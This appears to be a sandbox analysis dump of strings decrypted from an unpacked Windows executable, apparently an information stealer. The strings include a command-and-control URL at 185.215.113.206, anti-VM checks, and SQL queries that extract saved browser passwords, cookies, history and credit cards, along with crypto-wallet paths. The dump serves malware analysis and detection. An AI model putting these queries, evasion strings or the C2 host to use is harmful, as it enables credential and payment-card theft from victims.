Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: user32.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: crypt32.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetUserNameA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CreateDCA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetDeviceCaps
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: ReleaseDC
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: sscanf
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: VMwareVMware
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: HAL9TH
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: JohnDoe
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: DISPLAY
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: http://185.215.113.206
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: /c4becf79229cb002.php
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: /68b591d6548ec281/
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: stok
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetFileAttributesA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: HeapFree
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetFileSize
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GlobalSize
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: IsWow64Process
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Process32Next
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetLocalTime
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: FreeLibrary
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Process32First
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: DeleteFileA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: FindNextFileA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: LocalFree
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: FindClose
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: LocalAlloc
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetFileSizeEx
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: ReadFile
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: SetFilePointer
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: WriteFile
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CreateFileA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: FindFirstFileA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CopyFileA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: VirtualProtect
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetLastError
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: lstrcpynA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GlobalFree
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GlobalAlloc
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: OpenProcess
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: TerminateProcess
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: gdiplus.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: ole32.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: bcrypt.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: wininet.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: shlwapi.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: shell32.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: SelectObject
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: BitBlt
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: DeleteObject
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CreateCompatibleDC
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GdiplusStartup
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GdiplusShutdown
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GdipDisposeImage
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GdipFree
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CoUninitialize
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CoInitialize
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CoCreateInstance
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: BCryptDecrypt
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: BCryptSetProperty
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: BCryptDestroyKey
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetWindowRect
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetDesktopWindow
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetDC
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CloseWindow
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: wsprintfA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CharToOemW
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: wsprintfW
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: RegQueryValueExA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: RegEnumKeyExA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: RegOpenKeyExA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: RegCloseKey
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: RegEnumValueA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CryptUnprotectData
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: SHGetFolderPathA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: ShellExecuteExA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: InternetOpenUrlA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: InternetConnectA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: InternetCloseHandle
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: HttpSendRequestA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: HttpOpenRequestA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: InternetReadFile
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: InternetCrackUrlA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: StrCmpCA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: StrStrA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: StrCmpCW
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: PathMatchSpecA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: RmStartSession
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: RmRegisterResources
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: RmGetList
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: RmEndSession
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: sqlite3_open
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: sqlite3_step
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: sqlite3_column_text
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: sqlite3_finalize
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: sqlite3_close
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: sqlite3_column_blob
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: encrypted_key
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: PATH
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: NSS_Init
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: NSS_Shutdown
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: PK11_FreeSlot
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: PK11_Authenticate
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: C:\ProgramData\
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: browser:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: profile:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: url:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: login:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: password:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Opera
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: OperaGX
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Network
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: cookies
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: .txt
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: TRUE
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: FALSE
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: autofill
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: history
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: cc
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: name:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: month:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: year:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: card:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Cookies
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Login Data
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Web Data
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: History
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: logins.json
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: formSubmitURL
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: usernameField
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: encryptedUsername
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: encryptedPassword
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: guid
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: cookies.sqlite
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: formhistory.sqlite
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: places.sqlite
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: plugins
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Local Extension Settings
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Sync Extension Settings
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: IndexedDB
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Opera Stable
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Opera GX Stable
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CURRENT
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: chrome-extension_
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Local State
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: profiles.ini
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: chrome
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: opera
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: firefox
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: wallets
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: ProductName
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: x32
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: x64
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: DisplayName
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: DisplayVersion
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Network Info:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - IP: IP?
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - Country: ISO?
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: System Summary:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - HWID:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - OS:
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: - Architecture:
